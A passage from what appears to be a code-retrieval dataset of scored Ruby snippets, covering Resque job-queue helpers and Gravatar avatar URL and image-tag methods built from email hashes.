"text": "def scheduled(queue, klass, *args)\n self.enqueue_to(queue, self, *args)\n end",
"title": ""
},
{
"docid": "41e76f363e16b4a89cd5789973828b7f",
"score": "0.5694097",
"text": "def scheduled(queue, klass, *args)\n self.enqueue_to(queue, self, *args)\n end",
"title": ""
},
{
"docid": "7703a116a14169b5dfedbd3594d0fd15",
"score": "0.5654474",
"text": "def enqueue_delayed_selection(klass = nil)\n raise ArgumentError, 'Please supply a block' unless block_given?\n\n found_jobs = find_delayed_selection(klass) { |args| yield(args) }\n found_jobs.reduce(0) do |sum, encoded_job|\n decoded_job = decode(encoded_job)\n klass = Util.constantize(decoded_job['class'])\n queue = decoded_job['queue']\n\n if queue\n jobs_queued = enqueue_delayed_with_queue(klass, queue, *decoded_job['args'])\n else\n jobs_queued = enqueue_delayed(klass, *decoded_job['args'])\n end\n\n jobs_queued + sum\n end\n end",
"title": ""
},
{
"docid": "eb858ffdabb2f3c584bc67ee029fbffe",
"score": "0.56359905",
"text": "def enqueue_to(queue, klass, options = {})\n uuid = Resque::Plugins::Status::Hash.generate_uuid\n Resque::Plugins::Status::Hash.create uuid, :options => options\n\n if Resque.enqueue_to(queue, klass, uuid, options)\n uuid\n else\n Resque::Plugins::Status::Hash.remove(uuid)\n nil\n end\n end",
"title": ""
},
{
"docid": "8d7522a45aa2d00eb4c163faa432c92c",
"score": "0.5615085",
"text": "def Queue(kind)\n raise ArgumentError.new(\"Unknown queue kind '#{kind}'\") unless QUEUE_KIND_MAP.has_key? kind\n QUEUE_KIND_MAP[kind].new\nend",
"title": ""
},
{
"docid": "c2ba19849fc7d2aef1af813da37ea8c1",
"score": "0.5607113",
"text": "def set_queue_type(opts)\n opts = check_params(opts,[:queue_types])\n super(opts)\n end",
"title": ""
},
{
"docid": "182a5bf6f1c89f8627ce5a1ba733603c",
"score": "0.5580367",
"text": "def my_queue\n\nend",
"title": ""
},
{
"docid": "bea0127ab249d52175e70a78550ee88d",
"score": "0.5556184",
"text": "def get_queue(name=:default_queue)\n name = name.to_sym\n queue = @queues[name]\n unless queue\n @queues[name] = GBDispatch::Queue.new(name)\n queue = @queues[name]\n end\n queue\n end",
"title": ""
},
{
"docid": "7efc62111877fcaf24634c789457885d",
"score": "0.5554033",
"text": "def remove_delayed_with_queue(queue, klass, *args)\n search = encode(job_to_hash_with_queue(queue,klass, args))\n remove_delayed_job(search)\n end",
"title": ""
},
{
"docid": "d6630007a7a47ce432cc2ad7e81999fc",
"score": "0.5551838",
"text": "def queue() = @queue ||= CommandQueue.new",
"title": ""
},
{
"docid": "05b07fbb6b86db92b1ed07c188f72b48",
"score": "0.5538295",
"text": "def queue_name;@queue_name ||= self.class.to_s.downcase;end",
"title": ""
},
{
"docid": "bdc565aea28f217402384ad6ac1deab3",
"score": "0.55316216",
"text": "def dequeue_from(specified_queue)\n specified_queue.dequeue(self)\n end",
"title": ""
},
{
"docid": "24df228d57bee7c169eed027b2d6e8d6",
"score": "0.55264235",
"text": "def queue_name\n if qualified_klass = self.qualified_const_get(klass) \n queue_name = qualified_klass.instance_variable_get(\"@queue\")\n end\n\n queue_name || :default\n end",
"title": ""
},
{
"docid": "7b785c98d88a0e0870a6e9afc85d5918",
"score": "0.550294",
"text": "def given_queue(&block)\n @queues.push(Queue.new(&block))\n end",
"title": ""
},
{
"docid": "131f6677d3f276492e72436458656b91",
"score": "0.5494596",
"text": "def enqueue_to(queue, klass, *args)\n klass.client_push(\"queue\" => queue, \"class\" => klass, \"args\" => args)\n end",
"title": ""
},
{
"docid": "f6cfe5dd3172870e5b8193c70be4e3fc",
"score": "0.54901665",
"text": "def enqueue_at_with_queue(queue, timestamp, klass, *args)\n return false unless Plugin.run_before_schedule_hooks(klass, *args)\n\n if Resque.inline?\n # Just create the job and let resque perform it right away with inline.\n # If the class is a custom job class, call self#scheduled on it. This allows you to do things like\n # Resque.enqueue_at(timestamp, CustomJobClass, :opt1 => val1). Otherwise, pass off to Resque.\n if klass.respond_to?(:scheduled)\n klass.scheduled(queue, klass.to_s(), *args)\n else\n Resque::Job.create(queue, klass, *args)\n end\n else\n delayed_push(timestamp, job_to_hash_with_queue(queue, klass, args))\n end\n\n Plugin.run_after_schedule_hooks(klass, *args)\n end",
"title": ""
},
{
"docid": "a975028740452a8b33193c72ce9b99d0",
"score": "0.54824907",
"text": "def queue\n @queue ||= :low\n end",
"title": ""
},
{
"docid": "58a72acee6cb8af8337231937a5e971b",
"score": "0.5481512",
"text": "def queue(attributes = {})\n @_queue ||= begin\n require 'job_boss/queuer'\n Queuer.new(attributes)\n end\n end",
"title": ""
},
{
"docid": "ac69279010924d50dd4c4f2492e99cee",
"score": "0.5481089",
"text": "def queue(*command); end",
"title": ""
},
{
"docid": "3210cf9ed9fd0583cc8d0c04bd74b77d",
"score": "0.5471744",
"text": "def adopt_queue\n self.fund_queue ||= adoptable_queue\n end",
"title": ""
},
{
"docid": "d740cf950574be44ef9be2d501c6dfa7",
"score": "0.54594034",
"text": "def method_missing(method, *args, &block)\n if @queue.respond_to?(method)\n proc = @queue.scopes[method]\n instance_exec *args, &proc\n end\n end",
"title": ""
},
{
"docid": "5347999372d7979cfaaf2a979a400cb2",
"score": "0.54560983",
"text": "def create(name, cls = @class)\n if not name.in? @queues\n self[name] = cls.first::new(*cls.second, &cls.third)\n else\n self[name]\n end \n end",
"title": ""
},
{
"docid": "da5c7e39c108a8a336b5f23a27348176",
"score": "0.5450433",
"text": "def queueing_method\n super\n end",
"title": ""
},
{
"docid": "59811617ec0a5de83ef301615a3ef70f",
"score": "0.5441761",
"text": "def process_queue\n until @queue.empty?\n method, args = @queue.pop\n\n unless method.nil?\n log.info(\"process_queue - handling #{method} with #{args.inspect}\")\n if @enabled\n processed = send(method, *args)\n\n unless processed\n log.info \"Failed to process #{method}\"\n enqueue(method, *args)\n # Arbitrary sleep to make sure we don't spin when we cannot\n # process a message infinitly\n sleep 1\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "a21160f749e829d75302fe22c0673786",
"score": "0.5441143",
"text": "def queue(name, data={}, options={})\n puts \"Queuing #{name}...\"\n check_config\n if !data.is_a?(Array)\n data = [data]\n end\n # Now we need to add class_name to the payload\n tasks = []\n data.each do |d|\n d['class_name'] = name unless d['class_name']\n task = {}\n task[\"payload\"] = d.to_json\n task[\"code_name\"] = name\n task[\"priority\"] = options[:priority] if options[:priority]\n task[\"timeout\"] = options[:timeout] if options[:timeout]\n tasks << task\n end\n name = options[:name] || name\n hash_to_send = {}\n hash_to_send[\"options\"] = options\n hash_to_send[\"tasks\"] = tasks\n add_sw_params(hash_to_send)\n if defined?(RAILS_ENV)\n # todo: REMOVE THIS\n hash_to_send[\"rails_env\"] = RAILS_ENV\n end\n return queue_raw(name, hash_to_send, options)\n end",
"title": ""
},
{
"docid": "ea4126bfce5d65c29e1e14d2c98dc7a4",
"score": "0.5434134",
"text": "def enqueue_to_in(queue, interval, klass, *args); end",
"title": ""
},
{
"docid": "ea4126bfce5d65c29e1e14d2c98dc7a4",
"score": "0.5434134",
"text": "def enqueue_to_in(queue, interval, klass, *args); end",
"title": ""
},
{
"docid": "ea4126bfce5d65c29e1e14d2c98dc7a4",
"score": "0.5434134",
"text": "def enqueue_to_in(queue, interval, klass, *args); end",
"title": ""
},
{
"docid": "3b890b261016209affa84c9fa07ba80f",
"score": "0.5432171",
"text": "def queue_for(method, queue_name)\n @_queue_names ||= {}\n @_queue_names[method] = queue_name\n end",
"title": ""
},
{
"docid": "b463d8785ea3038a5c4901c5d4ef607c",
"score": "0.542428",
"text": "def queue( name )\n raise NotImplementedError, \"please implement 'queue'\"\n end",
"title": ""
},
{
"docid": "d68bc0a0dac14b3dc1dd08a160af5dd3",
"score": "0.5419598",
"text": "def queue_names_routing_class(clazz)\n self.select { |x, y| y.is_a?(clazz) }.map { |x, y| x }\n end",
"title": ""
},
{
"docid": "23feacafa9338c260780550ed98298b6",
"score": "0.54004025",
"text": "def queue(queue)\n @queue = queue\n return self\n end",
"title": ""
},
{
"docid": "390166d8a55aecbb0d866f7c1d3bcb2d",
"score": "0.5394303",
"text": "def receive(queue)\n if block_given?\n obj, args = @adapter.pop(queue)\n yield QueueObject.new(obj, args) if obj\n else\n raise 'No block given'\n end\n end",
"title": ""
},
{
"docid": "2ac695f87a2e51fea345f217194e3c38",
"score": "0.53923345",
"text": "def select_queue(klass, options)\n if options[:job_host].nil?\n raise \"job_host not set for job with DynamicQueueMixIn\"\n end\n return @queue_basename + \"_\" + options[:job_host]\n end",
"title": ""
},
{
"docid": "8a9c5386b47a57f551aa5f0c3ce285c4",
"score": "0.5364939",
"text": "def initialize(*queues)\n @queues_with_types = []\n @queues = []\n @wildcards = []\n\n queues.flatten.each do |queue|\n parts = queue.to_s.strip.split('::')\n name = parts.shift.strip\n\n # wildcard processing\n if name == '**'\n end\n\n if name == '*'\n name = '*jobs'\n end\n\n if name =~ /^\\*([\\w\\*]*)/\n type_name = $1\n @wildcards << Worker.queue_type_for(type_name)\n next\n end\n\n # queue name processing\n if parts.empty?\n @queues << name\n queue_type = Worker.default_queue_type\n else\n queue_type = Worker.queue_type_for(parts.join('::'))\n if queue_type.resque_compatible?\n @queues << name\n end\n end\n @queues_with_types << { :name => name, :type => queue_type }\n end\n\n validate_queues\n end",
"title": ""
},
{
"docid": "a40cde3b6a5aaaadfda9fc01c21dfcfd",
"score": "0.53623",
"text": "def initialize(queue)\n case \n when queue.respond_to?(:receive_queue) then @queue = queue.receive_queue\n when queue.respond_to?(:to_s) then @queue = queue.to_s\n else fail ArgumentError, \"Unknown object passed as queue\"\n end\n\n NebulousStomp.logger.debug(__FILE__) { \"Listening on #@queue\" }\n end",
"title": ""
},
{
"docid": "fd285e7dcff48f16ad813e73eafd47ca",
"score": "0.53569484",
"text": "def set_queueing_method(opts)\n opts = check_params(opts,[:methods])\n super(opts)\n end",
"title": ""
},
{
"docid": "471395ac2ead2b86cf266c4955bd21f1",
"score": "0.5352297",
"text": "def define_queue(name, task_class, properties = {})\n raise ArgumentError, 'queue name cannot be nil' if name.nil?\n raise ArgumentError, 'queue task class cannot be nil' if task_class.nil?\n\n properties[:store] = interpret_store(properties[:store]) if properties.key? :store\n\n @queues << Queue.new(**{name: name, task_class: task_class, store: @default_store}.merge(properties))\n end",
"title": ""
},
{
"docid": "dadeea4ae173dc02890683ac35abf36b",
"score": "0.53505635",
"text": "def assert_not_queued(klass = nil, args = nil, message = nil, &block)\n queue_name = Resque.queue_for(klass)\n assert_not_queued_to(queue_name, klass, args, message, &block)\n end",
"title": ""
},
{
"docid": "565209baaab4a5bb9ffcc9138c3d92a3",
"score": "0.5340332",
"text": "def queue(state) @queue[state] end",
"title": ""
},
{
"docid": "d31a6215fbcf5d698b97be965f3494ee",
"score": "0.53367454",
"text": "def dequeue_element\n klass = @klasses.shuffle\n klass.first.dequeue || klass.last.dequeue\n end",
"title": ""
},
{
"docid": "2e0c42d84ed76435ef94baa700c20bca",
"score": "0.53317654",
"text": "def queue_names_routing_class(clazz); @worker.class; end",
"title": ""
},
{
"docid": "3bfbe6f6e2f922865d89c96e58ee0c04",
"score": "0.53290635",
"text": "def enqueue_at_with_queue(queue, timestamp, klass, *args)\n return false unless plugin.run_before_schedule_hooks(klass, *args)\n\n if Resque.inline? || timestamp.to_i <= Time.now.to_i\n # Just create the job and let resque perform it right away with\n # inline. If the class is a custom job class, call self#scheduled\n # on it. This allows you to do things like\n # Resque.enqueue_at(timestamp, CustomJobClass, :opt1 => val1).\n # Otherwise, pass off to Resque.\n if klass.respond_to?(:scheduled)\n klass.scheduled(queue, klass.to_s, *args)\n else\n Resque.enqueue_to(queue, klass, *args)\n end\n else\n delayed_push(timestamp, job_to_hash_with_queue(queue, klass, args))\n end\n\n plugin.run_after_schedule_hooks(klass, *args)\n end",
"title": ""
},
{
"docid": "570b6a7073d8cf49916fe6d59e32052e",
"score": "0.53241104",
"text": "def determine_queue(token)\n find_range(token).queue\n end",
"title": ""
},
{
"docid": "6874cd508b26937d8e107443c7f9dcfa",
"score": "0.5323146",
"text": "def enqueue_at_with_queue(queue, timestamp, klass, *args)\n return false unless plugin.run_before_schedule_hooks(klass, *args)\n\n if Resque.inline? || timestamp.to_i < Time.now.to_i\n # Just create the job and let resque perform it right away with\n # inline. If the class is a custom job class, call self#scheduled\n # on it. This allows you to do things like\n # Resque.enqueue_at(timestamp, CustomJobClass, :opt1 => val1).\n # Otherwise, pass off to Resque.\n if klass.respond_to?(:scheduled)\n klass.scheduled(queue, klass.to_s, *args)\n else\n Resque::Job.create(queue, klass, *args)\n end\n else\n delayed_push(timestamp, job_to_hash_with_queue(queue, klass, args))\n end\n\n plugin.run_after_schedule_hooks(klass, *args)\n end",
"title": ""
},
{
"docid": "ef546ca6902146774827ab1881b293da",
"score": "0.53178275",
"text": "def queue(*args)\n @queue = args.first unless args.empty?\n (@queue || :default).to_s\n end",
"title": ""
},
{
"docid": "297660be774ade2b85af2f5827d7240c",
"score": "0.5302625",
"text": "def queue; end",
"title": ""
},
{
"docid": "297660be774ade2b85af2f5827d7240c",
"score": "0.5302625",
"text": "def queue; end",
"title": ""
},
{
"docid": "297660be774ade2b85af2f5827d7240c",
"score": "0.5302625",
"text": "def queue; end",
"title": ""
},
{
"docid": "297660be774ade2b85af2f5827d7240c",
"score": "0.5302625",
"text": "def queue; end",
"title": ""
},
{
"docid": "297660be774ade2b85af2f5827d7240c",
"score": "0.5302625",
"text": "def queue; end",
"title": ""
},
{
"docid": "be67c1a51e53f554a2e77fbc51bdb639",
"score": "0.5299619",
"text": "def queue_type\n super\n end",
"title": ""
},
{
"docid": "8421f8cb2e0af0316aca78599f8206a4",
"score": "0.5296544",
"text": "def queue\n check_type(QUEUE)\n @queue = Queue.new(self) unless @queue\n return @queue\n end",
"title": ""
},
{
"docid": "4e570e44718bdee80e2787519cfbee04",
"score": "0.5287074",
"text": "def queue(args)\n if valid_args_for_queue?(args)\n \"You called queue with valid #{args}\"\n case args.first\n when \"count\" ; @my_queue.count\n when \"print\" ; @my_queue.print(args.last)\n when \"clear\" ; @my_queue.clear\n when \"save\"; @my_queue.save_to(args.last)\n end\n else\n error_message(args)\n end\n end",
"title": ""
},
{
"docid": "e8dd85dbc5b021de85adea8d5dfe075e",
"score": "0.52823806",
"text": "def queue_adapter; end",
"title": ""
},
{
"docid": "16e031a67f2401af83e11741297224ef",
"score": "0.52816945",
"text": "def queue(topic)\n @queues ||= {}\n @queues[topic.to_s] ||= []\n end",
"title": ""
},
{
"docid": "2aabdb3ab80f420f7650c90ff8d8415c",
"score": "0.5264533",
"text": "def classic_queue\n @queue_type = 'classic'\n end",
"title": ""
},
{
"docid": "f40997b6c10947201ce573fd3dd02fac",
"score": "0.5264135",
"text": "def queue=(_arg0); end",
"title": ""
},
{
"docid": "f40997b6c10947201ce573fd3dd02fac",
"score": "0.5264135",
"text": "def queue=(_arg0); end",
"title": ""
}
] |
e61587f5b60daa3ff551a196eb70056e
|
Get the Gravatar HTML for the value of Blog.email
|
[
{
"docid": "54513a451ca4770940ca78f8b9d50152",
"score": "0.72012913",
"text": "def gravatar_html(size = 140)\n style = {\n :height => \"#{size}px\",\n :width => \"#{size}px\",\n :background_image => \"url(#{gravatar_url(Blog.email, size)})\"\n }.to_a.map do |key,value|\n \"#{key.to_s.gsub('_', '-')}:#{value}\"\n end.join(';')\n tag(:div, :class => 'gravatar', :style => style)\n end",
"title": ""
}
] |
[
{
"docid": "f7efedc65ce6e8bfe7ce3803dbe8af95",
"score": "0.7880807",
"text": "def gravatar\n mail = email || \"#{provider}_#{uid}\"\n hash = Digest::MD5.hexdigest(mail)\n \"http://www.gravatar.com/avatar/#{hash}?d=identicon\"\n end",
"title": ""
},
{
"docid": "e6525966bf81c2ed4aef02d6c41c2160",
"score": "0.7859762",
"text": "def gravatar(email)\n \"http://www.gravatar.com/avatar/#{Digest::MD5.hexdigest(email)}.jpg?s=40\"\n end",
"title": ""
},
{
"docid": "5c3779b600286d5c03aa163ce29757e7",
"score": "0.7792843",
"text": "def gravatar_tag email\n _hash = Digest::MD5.hexdigest email\n <<-EOHTML\n <a href='http://www.gravatar.com/#{_hash}'>\n <img src='http://www.gravatar.com/avatar/#{_hash}'\n class='avatar'\n title='Gravatar-Profile: #{email}'\n alt='User Avatar'\n />\n </a>\n EOHTML\n end",
"title": ""
},
{
"docid": "a8f1c6f6abcd4d4b38d6dd1362fd0667",
"score": "0.77243054",
"text": "def gravatar\n gravatar_id = Digest::MD5::hexdigest(email).downcase \n \"http://gravatar.com/avatar/#{gravatar_id}.png\" \n end",
"title": ""
},
{
"docid": "5ee073b86444b0ae8b9389d2020049bb",
"score": "0.7687132",
"text": "def gravatar_for(email)\n gravatar_id = Digest::MD5::hexdigest(email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: \"Gravatar\", class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "191abc656d31433a906aedb9e1092248",
"score": "0.7643349",
"text": "def gravatar_tag(email, *params)\n html_attrs = gravatar_attrs(email, *params).map { |key,value| \"#{key}=\\\"#{CGI.escapeHTML(value.to_s)}\\\"\" }.sort.join(\" \")\n Gravatarify::Utils.make_html_safe_if_available(\"<img #{html_attrs} />\");\n end",
"title": ""
},
{
"docid": "fd67e0605394fcf55de670da6777b80a",
"score": "0.7638437",
"text": "def gravatar_url\n # to remove white spaces from email\n stripped_email = email.strip\n downcased_email = stripped_email.downcase\n hash = Digest::MD5.hexdigest(downcased_email)\n \"http://gravatar.com/avatar/#{hash}\"\n end",
"title": ""
},
{
"docid": "07c933159773d570fde862b2580efd48",
"score": "0.7549874",
"text": "def gravatar_url\n stripped_email = email.strip\n downcased_email = stripped_email.downcase\n hash = Digest::MD5.hexdigest(downcased_email)\n \n \"http://gravatar.com/avatar/#{hash}\"\n end",
"title": ""
},
{
"docid": "8559754c5c62e8a3e4a0533a41c2ab8e",
"score": "0.7438519",
"text": "def gravatar_url\n hash = Digest::MD5.hexdigest(self.email)\n\n image_src = \"//www.gravatar.com/avatar/#{hash}?d=identicon\"\n end",
"title": ""
},
{
"docid": "ea7e184121bcc9e759f7fc02518465ae",
"score": "0.7413018",
"text": "def gravatar_url\n \tstripped_email = email.strip\n \tdowncased_email = stripped_email.downcase\n \thash = Digest::MD5.hexdigest(downcased_email)\n\n \t\"http://www.gravatar.com/#{hash}\" \n end",
"title": ""
},
{
"docid": "90d9ce47c5444dfbca3258116e89e76c",
"score": "0.73974127",
"text": "def gravatar\n if self.avatar_file_name.nil?\n mail = email || \"#{provider}_#{uid}\"\n hash = Digest::MD5.hexdigest(mail)\n \"http://www.gravatar.com/avatar/#{hash}?d=identicon\"\n else\n self.avatar \n end \n end",
"title": ""
},
{
"docid": "acb3fb0026a63693cf56bcf87c482c4f",
"score": "0.7396992",
"text": "def gravatar_url(email)\n \"https://secure.gravatar.com/avatar/#{Digest::MD5.hexdigest(email)}?s=40\"\n end",
"title": ""
},
{
"docid": "043672eedeaa534aa4f0c9a5d6d7ce2d",
"score": "0.73341393",
"text": "def gravatar_url\n require 'digest/md5'\n \"http://www.gravatar.com/avatar/#{Digest::MD5.hexdigest(email.downcase)}\"\n end",
"title": ""
},
{
"docid": "bd357a0a17da60d59b9c0a42985498a2",
"score": "0.7291548",
"text": "def gravatar(email, options={})\n src = h(gravatar_url(email, options))\n options = DEFAULT_GRAVATAR_OPTIONS.merge(options)\n [:class, :alt, :size, :title].each { |opt| options[opt] = h(options[opt]) }\n tabindex = (options.has_key?(:tabindex) ? \"tabidex=#{options[:tabindex]}\" : \"\")\n \"<img class=\\\"#{options[:class]}\\\" title=\\\"#{options[:title]}\\\" alt=\\\"#{options[:alt]}\\\" width=\\\"#{options[:size]}\\\" height=\\\"#{options[:size]}\\\" src=\\\"#{src}\\\" #{tabindex} />\"\n end",
"title": ""
},
{
"docid": "f956fecfa4e0293b11c11e78a5f545fb",
"score": "0.7274588",
"text": "def gravatar(email, gravatar_options={})\r\n\r\n # Set the img alt text.\r\n alt_text = 'Gravatar'\r\n\r\n # Sets the image sixe based on the gravatar_options.\r\n img_size = gravatar_options.include?(:size) ? gravatar_options[:size] : '80'\r\n\r\n \"<img src=\\\"#{gravatar_url(email, gravatar_options)}\\\" alt=\\\"#{alt_text}\\\" height=\\\"#{img_size}\\\" width=\\\"#{img_size}\\\" />\"\r\n end",
"title": ""
},
{
"docid": "cf56a820a2b93caf59b4b09c011f3c85",
"score": "0.72202325",
"text": "def gravatar(email, options={})\n src = h(gravatar_url(email, options))\n options = DEFAULT_OPTIONS.merge(options)\n [:class, :alt, :size].each { |opt| options[opt] = h(options[opt]) }\n \"<img class=\\\"#{options[:class]}\\\" alt=\\\"#{options[:alt]}\\\" width=\\\"#{options[:size]}\\\" height=\\\"#{options[:size]}\\\" src=\\\"#{src}\\\" />\" \n end",
"title": ""
},
{
"docid": "7a70d7ec12b16b5dcacf5caec610e920",
"score": "0.71848756",
"text": "def gravatar_url(email, options={})\n email_hash = Digest::MD5.hexdigest(email)\n options = DEFAULT_OPTIONS.merge(options)\n options[:default] = CGI::escape(options[:default]) unless options[:default].nil?\n returning \"http://www.gravatar.com/avatar.php?gravatar_id=#{email_hash}\" do |url| \n [:rating, :size, :default].each do |opt|\n unless options[opt].nil?\n value = h(options[opt])\n url << \"&#{opt}=#{value}\" \n end\n end\n end\n end",
"title": ""
},
{
"docid": "6a97184870b7a90c83436cd119d5c476",
"score": "0.7172938",
"text": "def gravatar_url(email, size = 140)\n \"http://www.gravatar.com/avatar/#{Digest::MD5.hexdigest(email)}.png?s=#{size}\"\n end",
"title": ""
},
{
"docid": "524dc3342ca0cc4d62132083441d67d2",
"score": "0.7164824",
"text": "def gravatar_for(user)\n if user.email\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=48&d=mm\"\n else\n gravatar_url = \"https://secure.gravatar.com/avatar/0000000000?s=48&d=mm\"\n end\n image_tag(gravatar_url, alt: user.name, class: \"csw-avatar\")\n end",
"title": ""
},
{
"docid": "cca57c274638950539cac42523d617fc",
"score": "0.7151398",
"text": "def gravatar_for(user, options = {size:50})\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: user.firstname, class: \"gravatar\")\nend",
"title": ""
},
{
"docid": "7c3ff6753fa47f9675a9ccc10a008505",
"score": "0.7146209",
"text": "def gravatar(email,gravatar_options={})\n\n # Set the img alt text.\n alt_text = 'Gravatar'\n\n # Sets the image sixe based on the gravatar_options.\n img_size = gravatar_options.include?(:size) ? gravatar_options[:size] : '80'\n\n \"<img src=\\\"#{gravatar_url(email, gravatar_options)}\\\" alt=\\\"#{alt_text}\\\" height=\\\"#{img_size}\\\" width=\\\"#{img_size}\\\" />\" \n\nend",
"title": ""
},
{
"docid": "4ea1576bac096575b4bd240e1ab8051e",
"score": "0.7140948",
"text": "def avatar_url\n \"http://robohash.org/#{email}?gravatar=yes\"\n end",
"title": ""
},
{
"docid": "93ce8cbf050ea32246d98a38e3e29f3e",
"score": "0.71400046",
"text": "def gravatar(email,gravatar_options={})\n\n # Set the img alt text.\n alt_text = 'Gravatar'\n\n # Sets the image sixe based on the gravatar_options.\n img_size = gravatar_options.include?(:size) ? gravatar_options[:size] : '80'\n\n \"<img src=\\\"#{gravatar_url(email, gravatar_options)}\\\" alt=\\\"#{alt_text}\\\" height=\\\"#{img_size}\\\" width=\\\"#{img_size}\\\" />\"\n\n end",
"title": ""
},
{
"docid": "8ab0a08345ae6394e0a4f8d35041d098",
"score": "0.7125945",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5.hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: user.name, class: 'gravatar')\n end",
"title": ""
},
{
"docid": "ee105013cbd1d888e1aabc6e4a4aac9c",
"score": "0.7125084",
"text": "def gravatar_tag(email, options = {})\n opts = {}\n opts[:gravatar_id] = Digest::MD5.hexdigest(email.strip)\n opts[:default] = CGI.escape(options[:default]) if options.include?(:default)\n opts[:size] = options[:size] || 48\n klass = options[:class] || \"avatar gravatar\"\n\n url = +\"https://www.gravatar.com/avatar.php?\"\n url << opts.map { |key, value| \"#{key}=#{value}\" }.sort.join(\"&\")\n tag.img(src: url, class: klass, alt: \"Gravatar\")\n end",
"title": ""
},
{
"docid": "f9413460958ad69ec9159c705f585419",
"score": "0.7103917",
"text": "def gravatar_for(user)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?size=225\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "8f312f04d86967eae51fe0006ba1f8d6",
"score": "0.709009",
"text": "def gravatar_for(model, args = {})\n args = {:class => 'gravatar', :gravatar => {:default => default_avatar_url}}.merge(args)\n gravatar_image_tag(model.email, args)\n end",
"title": ""
},
{
"docid": "af1c4b86d8715d36e02303721ac18bd1",
"score": "0.7082747",
"text": "def gravatar_url\n return @gravatar_url if @gravatar_url\n\n md5 = Digest::MD5.hexdigest((author_email || author).to_s.downcase)\n default = CGI.escape(Config.theme.gravatar.default)\n rating = Config.theme.gravatar.rating\n size = Config.theme.gravatar.size\n\n @gravatar_url = \"http://www.gravatar.com/avatar/#{md5}.jpg?d=#{default}&r=#{rating}&s=#{size}\"\n end",
"title": ""
},
{
"docid": "9d2f8e55d10e4b55c032a52bf03916cd",
"score": "0.70500827",
"text": "def gravatar_id\n Digest::MD5.hexdigest(email) if email\n end",
"title": ""
},
{
"docid": "61eed1e680167a1191a13c698f83caca",
"score": "0.70424724",
"text": "def gravatar_img_src\n # Não usa facebook\n if self.uid.nil?\n # include MD5 gem, should be part of standard ruby install\n require 'digest/md5'\n # create the md5 hash\n hash = Digest::MD5.hexdigest(self.email.downcase)\n # compile URL which can be used in <img src=\"RIGHT_HERE\"...\n self.image = \"http://www.gravatar.com/avatar/#{hash}\"\n end\n end",
"title": ""
},
{
"docid": "018980e84219d61461bb415dfdec0e31",
"score": "0.7006014",
"text": "def avatar_url\n hash = Digest::MD5.hexdigest(email)\n \"http://www.gravatar.com/avatar/#{hash}\"\n end",
"title": ""
},
{
"docid": "35b987981932ae8ad7dd6bf8bdeb7a99",
"score": "0.6983345",
"text": "def gravatar_div_tag(email, *args)\n \topts = args.extract_options!\n \tsize = opts.delete(:size) || 80\n \thash = Digest::MD5.hexdigest(email.downcase)\n \tdiv = \"<div class='avatar' data-gravatar='http://www.gravatar.com/avatar/#{hash}?size=#{size}&d=404'></div>\".html_safe\n end",
"title": ""
},
{
"docid": "dd2fac767c3b1ea799e40940eaf55b46",
"score": "0.6974268",
"text": "def gravatar_for(user, options = { :size => 75 })\n gravatar_image_tag(user.email.strip, :alt => h(user.name),\n :class => 'gravatar round',\n :gravatar => options)\n end",
"title": ""
},
{
"docid": "4ae97d5070dc5399638284bb19c894e4",
"score": "0.6949718",
"text": "def gravatar_for(user)\n\t\tgravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n\t\tgravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n\t\timage_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n\tend",
"title": ""
},
{
"docid": "4b260e982ebfb3b3b33c6773b568ddbf",
"score": "0.6945868",
"text": "def gravatar_for(user, size: 80)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: current_user.email + \" gravatar\", width: 130, height: 80, \n class: \"img-responsive img-rounded\")\n end",
"title": ""
},
{
"docid": "4b260e982ebfb3b3b33c6773b568ddbf",
"score": "0.6945868",
"text": "def gravatar_for(user, size: 80)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: current_user.email + \" gravatar\", width: 130, height: 80, \n class: \"img-responsive img-rounded\")\n end",
"title": ""
},
{
"docid": "ca5079e1bb2a1649d596344024e20f2c",
"score": "0.69176185",
"text": "def gravatar(email, gravatar_default, size = 40, rating = 'g')\n hash = MD5::md5(email)\n image_url = \"http://www.gravatar.com/avatar/#{hash}\"\n image_url << \"?d=#{CGI::escape(gravatar_default)}\"\n image_url << \"&s=#{size}\"\n image_url << \"&r=#{rating}\"\n end",
"title": ""
},
{
"docid": "3947adc7c8ac9c0ef826a101bbfbead1",
"score": "0.6906432",
"text": "def gravatar_for(user, size)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n \"https://secure.gravatar.com/avatar/#{gravatar_id}.png?s=#{size}\"\n end",
"title": ""
},
{
"docid": "7cd9e3934b144648d971db38b79be8cb",
"score": "0.6891632",
"text": "def gravatar_url(hacker)\n gravatar_id = Digest::MD5.hexdigest(hacker.email.downcase)\n \"https://secure.gravatar.com/avatar/#{gravatar_id}.png?s=200&r=r\"\n end",
"title": ""
},
{
"docid": "e730ee8e3568b2e2eefde2afb6e0e0ad",
"score": "0.68900317",
"text": "def gravatar_url\n unless defined?(@@gravatar_md5)\n @@gravatar_md5 = Digest::MD5.hexdigest(Settings.gravatar_email.downcase)\n end\n \"https://secure.gravatar.com/avatar/#@@gravatar_md5\"\n end",
"title": ""
},
{
"docid": "04e9dc0cecdff621e83932bae43e9f13",
"score": "0.6887406",
"text": "def user_gravatar_url\n self.user.gravatar_url\n end",
"title": ""
},
{
